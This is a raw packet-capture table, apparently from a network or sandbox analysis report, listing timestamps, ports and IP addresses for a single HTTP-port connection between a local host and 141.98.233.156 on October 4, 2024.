Oct 4, 2024 09:52:27.230912924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230925083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.230950117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.230969906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231067896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231118917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231177092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231204033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231229067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231230974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231250048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231256008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231270075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231281042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231293917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231307983 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231323957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231331110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.231350899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.231372118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.272411108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272459030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272512913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272545099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272577047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272608042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272643089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.272737026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.272737026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.272737026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.272737026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315466881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315529108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315543890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315557957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315572023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315586090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315599918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315613031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315627098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315639973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315654039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315668106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315680981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315706968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315721035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315735102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315747976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315772057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315785885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315802097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315817118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315829992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315834999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315834999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315834999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315834999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315844059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315859079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.315932035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.315932035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316154003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316180944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316198111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316212893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316279888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316303015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316318989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316335917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316381931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316397905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316472054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316473961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316473961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316473961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316474915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316485882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316500902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316514969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316530943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316545963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316555977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316555977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316618919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316668987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316682100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316718102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316741943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316756964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316764116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316782951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316812038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316868067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316883087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316896915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316910028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.316925049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316955090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.316982031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317022085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317037106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317050934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317065954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317074060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317111969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317312956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317327023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317341089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317353010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317368984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317368031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317393064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317428112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317464113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317480087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317493916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317508936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317523003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317523003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317538023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317552090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317574024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317764997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317779064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317792892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317806959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317820072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317821026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317836046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.317852020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317888021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.317987919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318041086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318157911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318171024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318183899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318197966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318211079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318212986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318227053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318239927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318253994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318267107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318269014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318269014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318288088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318320036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318511009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318525076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318538904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318552017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318562031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318567038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318579912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318582058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318597078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318612099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318617105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318636894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318655014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318850994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318866968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318880081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318895102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318909883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318916082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318923950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318938017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.318938971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318967104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.318991899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319145918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319160938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319175005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319189072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319204092 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319204092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319216967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319231987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319236994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319247961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319257021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319276094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319310904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319472075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319488049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319502115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319515944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319530964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319530010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319546938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319566965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319596052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319613934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319780111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319794893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319808960 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319823027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319832087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319838047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319852114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319852114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319869041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319885015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.319895983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319911957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.319950104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.360949039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.360991955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361028910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361047029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361062050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361078978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361094952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361113071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.361430883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.361532927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.418751955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418804884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418828964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418862104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.418869019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418876886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418884993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418893099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418915033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418926001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.418930054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418945074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418951988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418951988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.418967962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418977976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.418987989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.418997049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419009924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419025898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419038057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419039011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419054031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419054985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419069052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419101000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419121027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419297934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419312000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419326067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419339895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419351101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419353962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419368982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419394016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419418097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419418097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419418097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419459105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419713974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419728994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419742107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419755936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419765949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419770002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419785023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419785976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419801950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419836998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419852972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419868946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419883013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419895887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419898033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419910908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419917107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419924974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419939995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419954062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419958115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.419967890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419981956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.419984102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420006037 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420043945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420515060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420528889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420542955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420557022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420571089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420578957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420584917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420614958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420615911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420629978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420634031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420644045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420658112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420666933 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420672894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420687914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420701981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420703888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420716047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420723915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420738935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420752048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420753002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420768976 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420782089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420788050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420798063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.420804977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420825958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.420876026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421463966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421479940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421494961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421509027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421516895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421523094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421538115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421538115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421552896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421557903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421567917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421581984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421591043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421596050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421607971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421611071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421624899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421627045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.421638966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421653032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.421665907 CEST	49745	80	192.168.2.4	141.98.233.156
